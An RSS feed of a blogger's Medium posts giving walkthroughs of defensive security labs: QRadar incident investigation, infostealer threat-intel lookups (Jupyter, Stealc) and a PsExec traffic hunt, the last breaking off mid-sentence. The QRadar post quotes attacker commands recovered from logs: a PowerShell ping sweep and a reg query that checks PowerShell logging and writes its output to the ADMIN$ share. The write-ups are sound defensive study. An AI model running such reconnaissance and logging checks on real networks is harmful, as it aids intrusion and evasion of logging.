<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
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        <title><![CDATA[Stories by Mohammad shamil on Medium]]></title>
        <description><![CDATA[Stories by Mohammad shamil on Medium]]></description>
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            <title>Stories by Mohammad shamil on Medium</title>
            <link>https://medium.com/@mohammadshamil225?source=rss-effe651bdde6------2</link>
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        <lastBuildDate>Sat, 21 Nov 2026 00:15:59 GMT</lastBuildDate>
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            <title><![CDATA[QRadar Threat Hunting]]></title>
            <link>https://medium.com/@mohammadshamil225/qradar-threat-hunting-abf556f5da6d?source=rss-effe651bdde6------2</link>
            <guid isPermaLink="false">https://medium.com/p/abf556f5da6d</guid>
            <dc:creator><![CDATA[Mohammad shamil]]></dc:creator>
            <pubDate>Thu, 22 Oct 2026 10:52:13 GMT</pubDate>
            <atom:updated>2026-10-22T11:22:35.607Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/654/1*UxmgHGaJ7ZeP9zZMbHHEEw.png" /></figure><h3>Challenge Overview</h3><p>A financial company was compromised, and they are looking for a security analyst to help them investigate the incident. The company suspects that an insider helped the attacker get into the network, but they have no evidence.</p><p>The initial analysis performed by the company’s team showed that many systems were compromised. Also, alerts indicate the use of well known malicious tools in the network. As a SOC analyst, you are assigned to investigate the incident using QRadar SIEM and reconstruct the events carried out by the attacker.</p><p>Dataset:</p><ul><li>Sysmon — swift on security configuration</li><li>Powershell logging</li><li>Windows Eventlog</li><li>Suricata IDS</li><li>Zeek logs (conn, HTTP)</li></ul><h3>Cyber Defenders Questions &amp; Answers</h3><p><strong><em>Q1: How many log sources are available?</em></strong></p><p>Looking through the <a href="https://www.ibm.com/docs/en/sdi/7.2.0.3?topic=connector-setting-up-qradar-log-source">IBM QRadar Documentation</a>, we can identify the number of log sources by following these steps:</p><ol><li>Log on to the QRadar SIEM and select the Admin tab on the navigation bar.</li><li>Under Data Sources, in the Events section, click Log Sources.</li><li>This provides a list of log sources in QRadar.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/0*p0cuc_PQHA_zihUZ" /></figure><p>Log sources available in QRadar.</p><p><strong><em>Q2: What is the IDS software used to monitor the network?</em></strong></p><p>Referring to the available logs sources above, the IDS software being used is <strong>Suricata</strong>.</p><p><strong><em>Q3: What is the domain name used in the network?</em></strong></p><p>The question is asking for the domain name used by the company in their network. A network domain, in relation to a domain controller, is a logical grouping of computers and devices managed by a domain controller, enabling centralized authentication, authorization, and administration within a network.</p><p>It is probably worth briefly discussing how to perform searches in QRadar, as I will be performing lots of them throughout this challenge. Click the Log Activity tab, then Select the “Search” dropdown to create a custom search.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/537/0*aR46tk63YTjYr-Kj" /></figure><p>Edit Search under Log Activity</p><p>Next, we need to set the specific interval to search for events across the timeframe, based on the log sources seen when answering Q1. The events appeared to take place between the months of October 2020 and November 2020, so I set the specific interval to encompass this time frame.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/485/0*hW6aq1nVk-AXygFO" /></figure><p>Set search time frame.</p><p>Then, under column definition, we can group by different fields, such as Log Source. If the field is already included as a column, then it will need to be removed first from the “columns” and then added under “group by” by selecting the field and using the directional arrows.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*DE9X1dd8W6Q6oxPo" /></figure><p>Group by fields and add columns to search results.</p><p>This specific search filter returns events grouped by their respective log source. The log source titled “DC” most likely contains windows events from the companies domain controller(s). We can double click this log source to see the events.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/388/0*fkmoVUu9cU0OvxrY" /></figure><p>Events grouped by the Log Source Field.</p><p>If we select one of the events and observe the raw windows event log under Payload Information, we can see that the network domain name being used is “<strong>hackdefend.local</strong>”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/472/0*0x3W_Eun3jGbw-gC" /></figure><p>Network Domain.</p><p>This is the process I mostly followed to perform searches during the rest of the investigation.</p><p><strong><em>Q4: Multiple IPs were communicating with the malicious server. One of them ends with “20”. Provide the full IP.</em></strong></p><p>To determine what IP’s were communicating with the malicious server, we can select the “SO-Suricata” log source as seen earlier with the “DC” log source. Once the events are returned, I also edited the search to group by source IP addresses as seen earlier above.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/589/0*Xh5u5SQsTe-8koGM" /></figure><p>Suricata IDS Alerts for “DC”.</p><p>The results show multiple NIDS alerts for the IP address 192.168.20.20 “DC”.</p><p><strong><em>Q5: What is the SID of the most frequent alert rule in the dataset?</em></strong></p><p>I can simply apply a filter for the log source “SO-Suricata” and group by the field “Rule SID”. I can see that the top Rule SID is 2027865 and by drilling down into the grouped events, I can see that this Rule SID is for DNS related activity.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*fWTpgdJ9yEsnHIB8" /></figure><p><strong><em>Q6: What is the attacker’s IP address?</em></strong></p><p>Continuing to work with the Suricata logs, we can remove any pre-existing grouping and include the column titled “Rule Name” in our search results, which was seen earlier when searching for the Rule SID. Looking through the events from oldest to newest, we can see lots of alerts for DNS related activity but there is one rule that fired for a potential “Metapsloit Payload” that stands out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*aB8Kp2ElfpID4ImG" /></figure><p>Suricata Alert for Metasploit.</p><p>There looks to be some suspicious activity involving a Metasploit payload between 192.20.80.25 and 192.168.10.15 IP addresses. Applying a filter for where either the source or destination IP is “192.20.80.25”, we can see additional rule alerts being fired by Suricata that are indicative of this IP address being the attacker’s IP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*sG857l_4q-ROQFRK" /></figure><p>Suricata Alerts for “192.20.80.25” IP Address.</p><p><strong><em>Q7: The attacker was searching for data belonging to one of the company’s projects, can you find the name of the project?</em></strong></p><p>The attacker was able to compromise 192.168.10.15 with a Metasploit reverse shell. It is common for attackers to start enumerating the compromised host, attempt to escalate their privileges and then move laterally through the network. We can apply new filters to the search for the IP address 192.168.10.15 as either the destination or source IP address and apply a filter to check event payloads for the keyword “project”. This search returns events for the log source “HD-FIN-03”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*zjfDljyBJ7T64B9j" /></figure><p>Events that contain the keyword “project”.</p><p>Looking at these events, we can see the attacker attempting to retrieve an excel file called “<strong>project48-transactions.xlsx</strong>”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*vE3rTvZr_68ASJme" /></figure><p>Company Project Name.</p><p><strong><em>Q8: What is the IP address of the first infected machine?</em></strong></p><p>Looking at the Suricata alerts in question 6, we can see that the attacker initially exploited the host 192.168.10.15 with a Metasploit exploit and then started to look for confidential company data.</p><p><strong><em>Q9: What is the username of the infected employee using 192.168.10.15?</em></strong></p><p>Looking at the Suricata alerts in question 6, we can see the username is “<strong>nour</strong>”.</p><p><strong><em>Q10: Hackers do not like logging, what logging was the attacker checking to see if enabled?</em></strong></p><p>In question 7, we saw the attacker using PowerShell to retrieve the project data. We can apply a new filter for the log source “HD-FIN-03”, source or destination IP 192.168.10.15, and the username “nour”. The results show the attacker launching two PowerShell Console sessions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/618/0*c-Le18lwZChWDvKo" /></figure><p>PowerShell Console Sessions.</p><p>The PowerShell logs appear to be truncated, since it does not contain the full PowerShell command being executed but I can see that the attacker is attempting to test for additional hosts within the 192.168.20.0/24 subnet, after they have found the company project data.</p><pre>CommandInvocation(ForEach-Object): &quot;ForEach-Object&quot; ParameterBinding(ForEach-Object): name=&quot;Process&quot;; value=&quot;&quot;192.168.20.$($_): $(Test-Connection -count 1 -comp 192.168.20.$($_) -quiet)&quot;&quot; ParameterBinding(ForEach-Object): name=&quot;InputObject&quot;; value=&quot;1&quot; ParameterBinding(ForEach-Object): name=&quot;InputObject&quot;; value=&quot;2&quot; ParameterBinding(ForEach-Object): name=&quot;InputObject&quot;; value=&quot;3&quot; ParameterBinding(ForEach-Object): name=&quot;InputObject&quot;; value=&quot;4&quot; ParameterBinding(ForEach-Object): name=&quot;InputObject&quot;; value=&quot;5&quot; ParameterBinding(ForEach-Object): name=&quot;InputObject</pre><p>Performing a new search where the source IP is 192.168.10.15 and the destination IP is the 192.168.20.0/24 network subnet, we can see all the connection records made as part of the internal reconnaissance performed via the PowerShell command seen above.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*3PJROcAP1BEbYjL8" /></figure><p>Connection records related to internal reconnaissance scan.</p><p>Next, I applied a filter for log source “HD-FIN-03”, source or destination IP 192.168.10.15 and <a href="https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon#event-id-1-process-creation">Sysmon event ID 1</a>, which is for process creation and logs command line arguments. Reviewing the command line arguments did not show any indicators of logging being disabled.</p><p>Next, I applied the same filter and changed the log source to “DC”, where I can see that the attacker is checking if PowerShell logging is enabled.</p><pre>cmd.exe /Q /c reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging 1&gt; \\127.0.0.1\ADMIN$\__1604913874.5822518 2&gt;&amp;1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*szXRkfbylrn9KqcY" /></figure><p>Attacker Checking if PowerShell Logging is enabled.</p><p>The command above queries the specified registry key related to PowerShell ScriptBlockLogging and saves the output, including any errors, to a file located at the specified UNC path.</p><p><strong><em>Q11: Name of the second system the attacker targeted to cover up the employee?</em></strong></p><p>In the offenses tab, under all offenses, I can see that an offense was generated for 192.168.11.13 around 20 minutes after the offense generated for 192.168.10.15 IP address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/570/0*YDkzePuLRrslV6wR" /></figure><p>Offenses for 192.168.11.13 IP Address.</p><p>Looking at the available log sources, I can see that the IP address belongs to “<strong>MGNT-01</strong>”. I applied a filter for log source “MGNT-01”, Sysmon event ID 1 and included a column for “Process ComamndLine” which is for process creation and logs command line arguments. Looking at the output, I can see multiple events that contain process command line activity related to the ADMIN share, including the removal and deletion of an excel file titled “sami.xlsx” in the Desktop folder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/674/0*c8T9GD6GXmEx9iNX" /></figure><p>Removal and deletion of excel file titled “sami.xlsx”.</p><p><strong><em>Q12: When was the first malicious connection to the domain controller (log start time — hh:mm:ss)?</em></strong></p><p>So far, we know that the first compromised host was “HD-FIN-03” and that it might be a good place to start checking for any malicious connections. I applied a filter for the log source “HD-FIN-03” and for <a href="https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon#event-id-3-network-connection">Sysmon event ID 3</a> (“Network Connection Detected”). Looking back at the earliest events, I can see that at “11:14:10 PM”, the file notepad.exe starts making network connections, which is very suspicious.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/477/0*CGIJYV_Yk7BrNOLs" /></figure><p>Notepad.exe making network connections.</p><p>Looking at the event payload, I can see that a network connection was made to the DC via the LDAP protocol.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*imgCuvp8PzvpcAjl" /></figure><p>Network connection to DC at “11:14:10 PM”.</p><p><strong><em>Q13: What is the md5 hash of the malicious file?</em></strong></p><p>Still working with Sysmon events, I applied a filter for “<a href="https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon#event-id-15-filecreatestreamhash">Event ID 15: FileCreateStreamHash</a>” and the log source “HD-FIN-03”. Looking at the events, I can see the MD5 hash for the malicious file titled “<strong>important_instructions.docx</strong>”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*XtpCsdP8lKuNJUzd" /></figure><p>Malicious File MD5 Hash.</p><p><strong><em>Q14: What is the MITRE persistence technique ID used by the attacker?</em></strong></p><p>Performing a quick search on google reveals that one of the most common techniques for establishing persistence by malware and threat actors is the usage of registry Run keys &amp; Start up folders in a windows system. I applied a filter for <a href="https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon#event-id-13-registryevent-value-set">Sysmon Event ID 13: RegistryEvent (Value Set)</a> and added a column for “Target Object”. Looking through the events, I can see that a suspicious program is set to run on the Domain Controller every time the user logs in, by using the registry “Run” key.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*gb93h9wqEJ2o6n-6" /></figure><p>Registry “Run” Key.</p><p>Reviewing the event log payload, we can see that the attacker used PowerShell (i.e. Image) to rename the registry key and value, the complete path of the renamed registry key (i.e. “TargetObject”) and the details added to the registry key (i.e. Details), which in this case is to run the VBS script “C:\Windows\TEMP\PjvQTe.vbs” every time the user logs in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*1KderFctJIkwoDMH" /></figure><p>VBS Script runs every time user logs on.</p><p>This activity matches the MITRE persistence technique ID <a href="https://attack.mitre.org/techniques/T1547/001/">T1547.001</a></p><p><strong><em>Q15: What protocol is used to perform host discovery?</em></strong></p><p>In Question 10, we found the attacker using the PowerShell script used below to enumerate the 192.168.20.0/24 subnet.</p><pre>CommandInvocation(ForEach-Object): &quot;ForEach-Object&quot; ParameterBinding(ForEach-Object): name=&quot;Process&quot;; value=&quot;&quot;192.168.20.$($_): $(Test-Connection -count 1 -comp 192.168.20.$($_) -quiet)&quot;&quot; ParameterBinding(ForEach-Object): name=&quot;InputObject&quot;; value=&quot;1&quot; ParameterBinding(ForEach-Object): name=&quot;InputObject&quot;; value=&quot;2&quot; ParameterBinding(ForEach-Object): name=&quot;InputObject&quot;; value=&quot;3&quot; ParameterBinding(ForEach-Object): name=&quot;InputObject&quot;; value=&quot;4&quot; ParameterBinding(ForEach-Object): name=&quot;InputObject&quot;; value=&quot;5&quot; ParameterBinding(ForEach-Object): name=&quot;InputObject</pre><p>I applied a filter for the source IP 192.168.10.15, the destination IP 192.168.20.0/24 network subnet and added a column for the Protocol field. We can see all the connection records made as part of the internal reconnaissance performed via the PowerShell command seen above and the protocol used.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/341/0*YQW_EHqW81zhlfK4" /></figure><p>Host Discovery with ICMP.</p><p><strong><em>Q16: What is the email service used by the company?(one word)</em></strong></p><p>To answer this question, we can apply a filter on the log source “Zeek_conn”, destination port 53, exclude destination IP 8.8.8.8 and exclude destination IP 192.168.20.0/24 subnet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/292/0*w4_J1GhB_5HklHJG" /></figure><p>DNS Connections.</p><p>If we use VirusTotal, we can see that the IP addresses listed above resolve to Microsoft cloud services.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/399/0*891SfZDJA_C_K9tR" /></figure><p>VirusTotal.</p><p>If we search online, we can see that Microsoft offers the cloud service Office 365, which provides email services.</p><p><strong><em>Q17: What is the name of the malicious file used for the initial infection?</em></strong></p><p>Name of the file was identified in Q13.</p><p><strong><em>Q18 — What is the name of the new account added by the attacker?</em></strong></p><p>To find new accounts added, we can filter on event ID 4720 (A user account was created). When a user account is created in Active Directory, event ID 4720 is logged. Looking at the event returned, we can see the name of the account added by the attacker.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*00g9t78mEYeXwK_P" /></figure><p>Windows Event ID 4720.</p><p>Filtering on event 1 ID, we can also see the attacker adding the “rambo” user to domain admins group.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*oBNMNaDAJIgaTAGm" /></figure><p>User “rambo” added to domain admins group.</p><p><strong><em>Q19: What is the PID of the process that performed injection?</em></strong></p><p>We can filter for <a href="https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon#event-id-8-createremotethread">Sysmon Event ID 8: CreateRemoteThread</a>, which detects when a process creates a thread in another process. This technique is used by malware to inject code and hide in other processes. I applied a filter for event ID 8 and the infected host “HD-FIN-03”. I can see that FSETPBEUsIek.exe performed process injection on notepad.exe, as well as the source process ID.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*bS8y8gnCJX_80lm9" /></figure><p>Process Injection.</p><p><strong><em>Q20: What is the name of the tool used for lateral movement?</em></strong></p><p>Needed to use the hints to find the answer since nothing conclusive was appearing in the logs.</p><p><strong>Answer</strong>: wmiexec.py</p><p><strong><em>Q21: Attacker exfiltrated one file, what is the name of the tool used for exfiltration?</em></strong></p><p>Filtering on suricata alerts and the attackers IP address 192.20.80.25 as the destination IP address, we can see that an alert occurred for the usage of “curl”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/661/0*PrXZUdNQ0RtryCC7" /></figure><p>Suricata Alert for cURL.</p><p>If I apply a filter for the log source HD-FIN-02 and 192.20.80.25 as the destination IP address, I can see the command line used to exfiltrate the excel file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/569/0*SbkTgG1r04PFGgeZ" /></figure><p>Data exfiltration with cURL.</p><p><strong><em>Q22: Who is the other legitimate domain admin other than the administrator?</em></strong></p><p>To find the other domain admin, I applied a filter for event ID 4672: Special privileges assigned to new logon and grouped by usernames.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/552/0*uKNDEY_c4TWVVck3" /></figure><p>Domain Admins.</p><p><strong><em>Q23: The attacker used the host discovery technique to know how many hosts available in a certain network, what is the network the hacker scanned from the host IP 1 to 30?</em></strong></p><p>Network range was identified in Q10.</p><p><strong>Answer</strong>: 192.168.20.0</p><p><strong><em>Q24: What is the name of the employee who hired the attacker?</em></strong></p><p>The attacker exfiltrated the file sami.xlsx and was seen trying to cover it up by then deleting the same excel file from the desktop, which indicates the name of the employee who hired the attacker was “<strong>sami</strong>”.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=abf556f5da6d" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[Yellow RAT]]></title>
            <link>https://medium.com/@mohammadshamil225/yellow-rat-f2f6873ed562?source=rss-effe651bdde6------2</link>
            <guid isPermaLink="false">https://medium.com/p/f2f6873ed562</guid>
            <dc:creator><![CDATA[Mohammad shamil]]></dc:creator>
            <pubDate>Tue, 20 Oct 2026 04:01:19 GMT</pubDate>
            <atom:updated>2026-10-20T04:01:19.438Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/547/1*feOfpT-glopQxnGEwjwvAA.png" /></figure><h4>Objective:</h4><p>Analyze malware artifacts using threat intelligence platforms like VirusTotal to identify IOCs, C2 servers, and understand adversary tactics.</p><h4>Scenario:</h4><p>During a regular IT security check at GlobalTech Industries, abnormal network traffic was detected from multiple workstations. Upon initial investigation, it was discovered that certain employees’ search queries were being redirected to unfamiliar websites. This discovery raised concerns and prompted a more thorough investigation. Your task is to investigate this incident and gather as much information as possible.</p><h4>Tools:</h4><ul><li>VirusTotal</li><li>Red Canary</li></ul><h4>Procedure:</h4><p>Understanding the adversary helps defend against attacks. So we need to find What is the name of the malware family that causes abnormal network traffic.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4Yd8y4WTrXAsXjzEjTJmTg.png" /></figure><p>This challenge gave us file hash of a malware so we can start by searching it on VirusTotal which we can see that popular threat label of this file is not match the answer format at all but at least we know that this is Jupyter Infostealer. And we could go to “Community” tab to find out the answer since there are so many community comments on this file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DwKOA68JXKDqgHQh_WfdhA.png" /></figure><p>After scrolling for a bit, now we got the name and also reference links to do our own research.As part of our incident response, knowing common filenames the malware uses can help scan other workstations for potential infection</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zQCOLvHvzay1MDoKeM28uA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/776/1*3DWjMBcQBFKrt92_jzmpPw.png" /></figure><p>Determining the compilation timestamp of malware can reveal insights into its development and deployment timeline.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dsMdtgcacQC3-kROEHq6_A.png" /></figure><p>Most PE files often contains their complication timestamp in their PE header so if we keep scrolling down for a bit to “Portable Executable Info” then we will complication timestamp of this file right here</p><p>Understanding when the broader cybersecurity community first identified the malware could help determine how long the malware might have been in the environment before detection</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/565/1*Jd3Vz1TmYrUbIq4SKgClCw.png" /></figure><p>Going up to “History” section then we can see that someone submitted this file to VirusTotal almost a month later after its compiled.</p><p>To completely eradicate the threat from Industries’ systems, we need to identify all components dropped by the malware</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*e02o_IqrMOJTn056m9Me-A.png" /></figure><p>We need to change our intel source since VirusTotal did not catch file dropped by this malware.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/882/1*S0sMpQv0fyDTtChRfn8iGw.png" /></figure><p>We still have threat intel report from <a href="https://redcanary.com/blog/threat-intelligence/yellow-cockatoo/">Red Canary</a> that already conducted malware analysis for us and here is the file that dropped in Appdata folder</p><p>It is crucial to identify the C2 servers with which the malware communicates to block its communication and prevent further data exfiltration</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*jSvlG55qD31kfNl8WAH3XA.png" /></figure><p>Red Canary also noted C2 url for their audience to add them to blacklist so we can use this as the answer of this question too!</p><p>That about the report . Thankyou</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f2f6873ed562" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[Oski]]></title>
            <link>https://medium.com/@mohammadshamil225/oski-299beb7a34c4?source=rss-effe651bdde6------2</link>
            <guid isPermaLink="false">https://medium.com/p/299beb7a34c4</guid>
            <dc:creator><![CDATA[Mohammad shamil]]></dc:creator>
            <pubDate>Tue, 20 Oct 2026 03:20:17 GMT</pubDate>
            <atom:updated>2026-10-20T03:20:17.081Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/658/1*iS7QWxg3h3frJmSZVN80mA.png" /></figure><h4>Objective:</h4><p>Analyze a sandbox report using Any.Run to identify Stealc malware behavior, extract configuration details, and map observed tactics to MITRE ATT&amp;CK.</p><h4>Scenario:</h4><p>The accountant at the company received an email titled “Urgent New Order” from a client late in the afternoon. When he attempted to access the attached invoice, he discovered it contained false order information. Subsequently, the SIEM solution generated an alert regarding downloading a potentially malicious file. Upon initial investigation, it was found that the PPT file might be responsible for this download. Could you please conduct a detailed examination of this file?</p><h4>Tools:</h4><ul><li>VirusTotal</li><li>ANY.RUN</li></ul><h4>Procedure:</h4><p>To effectively categorize and understand the behavior and intent of this potential malware, it is crucial to identify its family.In <a href="https://www.virustotal.com/gui/file/a040a0af8697e30506218103074c7d6ea77a84ba3ac1ee5efae20f15530a19bb/detection">VirusTotal</a>, I can see that the provided MD5 hash is related to a Win32 EXE. Under the Relations tab for the provided file hash, the Graph Summary links the file hash to <strong>Stealc </strong>malware.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/852/1*a2GMd9uSX9WCm1zzjpjCOQ.png" /></figure><p>According to an <a href="https://www.virustotal.com/gui/collection/86241af9112305aee27cf9326e45f954ba3047d5fc387c93aefeff80d9cbd199">IOC report</a> in VirusTotal, Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth’s statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.</p><p>Determining the creation time of the malware can provide insights into its origin.In <a href="https://www.virustotal.com/gui/file/a040a0af8697e30506218103074c7d6ea77a84ba3ac1ee5efae20f15530a19bb/details">VirusTotal</a> under the Details tab, we can see information about the malware file hash, including relevant dates such as creation time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/399/1*78A07chb5hKUMqN9NMDayg.png" /></figure><p>Identifying the command and control (C2) server that the malware communicates with can help trace back to the attacker.</p><p>In <a href="https://www.virustotal.com/gui/file/a040a0af8697e30506218103074c7d6ea77a84ba3ac1ee5efae20f15530a19bb/details">VirusTotal</a> under the Relations tab, I can see the malware file contacts two URL’s. In an <a href="https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/">article</a> published by Sekoia, the C2 URL structure can look as follows:</p><ul><li>C2 base URL: http://&lt;ip or domain&gt; or https://&lt;ip or domain&gt;;</li><li>C2 URL resource which is a random string ending by .php extension;</li><li>C2 directory name where the DLLs are hosted (<em>nss3.dll, sqlite3.dll, etc</em>…).</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/742/1*hINq85toExtTd8YjgO9mTQ.png" /></figure><p>Based on crowdsourced context provided through <a href="https://www.virustotal.com/gui/url/205d797a462e377eb12371364bcb6ee85628f82a99509467c35b9866cf45c36b/detection">VirusTotal</a>, the URL with the “.php” file extension has been marked as being utilized as a botnet C2 for the Stealc malware and aligns with the aforementioned C2 structure.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/577/1*mGGMUJHZpDGqAbrixnYF0w.png" /></figure><p>Identifying the initial actions of the malware post-infection can provide insights into its primary objectives.we noted two URL’s were contacted, one of which had a DLL file titled “<em>sqlite3.dll</em>”. To access particular files or data, Stealc requires external DLLs that are not embedded in the PE but rather downloaded from a specific URL hosted by the C2. The DLLS are all written in the “<em>C:\ProgramData\</em>” directory and are then loaded. In VirusTotal, I can see that the first file dropped is the DLL file “<em>sqlite3.dll</em>” observed in the URL.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/254/1*OeXSlsSsvm_xbGmDA5aEPA.png" /></figure><p>Upon examining the malware, it appears to utilize the RC4 key for decrypting a base64 string.In the <a href="https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/">article</a> published by Sekoia, we can see that Stealc data is <strong>RC4</strong>-encrypted and <strong>base64</strong>-encoded. The RC4 key is hardcoded in the PE in cleartext and by definition RC4 keys are 20 bytes long. In the community tab, a convenient link has been provided to an <a href="https://any.run/report/a040a0af8697e30506218103074c7d6ea77a84ba3ac1ee5efae20f15530a19bb/d55e2294-5377-4a45-b393-f5a8b20f7d44#Static%20information">Any.Run</a> report, which provides the RC4 key used in this malware file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/804/1*bJ9pJihy5QKwQ2UdxjG27w.png" /></figure><p>identifying an adversary’s techniques can aid in understanding their methods and devising countermeasures.In the report from <a href="https://app.any.run/tasks/d55e2294-5377-4a45-b393-f5a8b20f7d44">Any.Run</a>, we can also see the full analysis of the file, which includes the MITRE ATT&amp;CK mappings. One of the techniques used for credential access is to steal credentials from Web Browsers (T1555).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/733/1*MGFsKkEC4FTXMsy67_I8yQ.png" /></figure><p>Malware may delete files left behind by the actions of their intrusion activity.In the full analysis report from <a href="https://app.any.run/tasks/d55e2294-5377-4a45-b393-f5a8b20f7d44">Any.Run</a>, we can see that the malware attempts to cover it’s track by deleting the malware file itself and the DLL files downloaded from the C2 server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/429/1*DteCxrBhKcTVwfWrEE0dFQ.png" /></figure><p>Understanding the malware’s behavior post-data exfiltration can give insights into its evasion techniques. After successfully exfiltrating the user’s data,<strong><em> </em></strong>the malware executes a command that waits 5 seconds, then deletes a VPN-related executable and all DLL files in C:\ProgramData, and finally exits.</p><h4>Conclusion:</h4><p>This was a interesting threat intel analysis around the Stealc information stealer. I enjoyed reading more about this malware and interacting with Any.Run .Thankyou</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=299beb7a34c4" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[PsExec Hunt]]></title>
            <link>https://medium.com/@mohammadshamil225/psexec-hunt-fabd4f437479?source=rss-effe651bdde6------2</link>
            <guid isPermaLink="false">https://medium.com/p/fabd4f437479</guid>
            <dc:creator><![CDATA[Mohammad shamil]]></dc:creator>
            <pubDate>Mon, 19 Oct 2026 04:28:14 GMT</pubDate>
            <atom:updated>2026-10-19T04:28:14.942Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/556/1*sO6SkbOfqnVByjbA0UOJwQ.png" /></figure><h4>Objective:</h4><p>Analyze SMB traffic in a PCAP file using Wireshark to identify PsExec lateral movement, compromised systems, user credentials, and administrative shares.</p><h4>Scenario:</h4><p>Our Intrusion Detection System (IDS) has raised an alert, indicating suspicious lateral movement activity involving the use of PsExec. To effectively respond to this incident, your role as a SOC Analyst is to analyse the captured network traffic stored in a PCAP file.</p><h4>Tools:</h4><ul><li>Wireshark</li></ul><h4>Procedure:</h4><p>To effectively trace the attacker’s activities within our network, we want to determine the IP address of the machine from which the attacker initially gained access to our network</p><p>PsExec is a command-line tool in the Sysinternals suite (from Microsoft) that lets you run programs on remote computers, as if you were sitting in front of them. Think of it like a remote control for your command prompt. You can use PsExec to execute commands, scripts, or applications on other computers in your network without needing to physically access them.</p><p>PsExec typically uses the <strong>Server Message Block (SMB)</strong> protocol to move laterally within networks.</p><p>So on Wireshark, the first thing we’re going to search for is the smb || smb2 protocol.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WkkzApMSnLPmk9Mm6KG1fA.png" /></figure><p>From here we can identify the attacker ip is 10.0.0.130</p><p>To fully comprehend the extent of the breach, We want to determine the machine’s hostname to which the attacker first pivoted</p><p>We’re the look for the name of the host machine the attacker pivoted to. We’ve already seen from the first assessment the 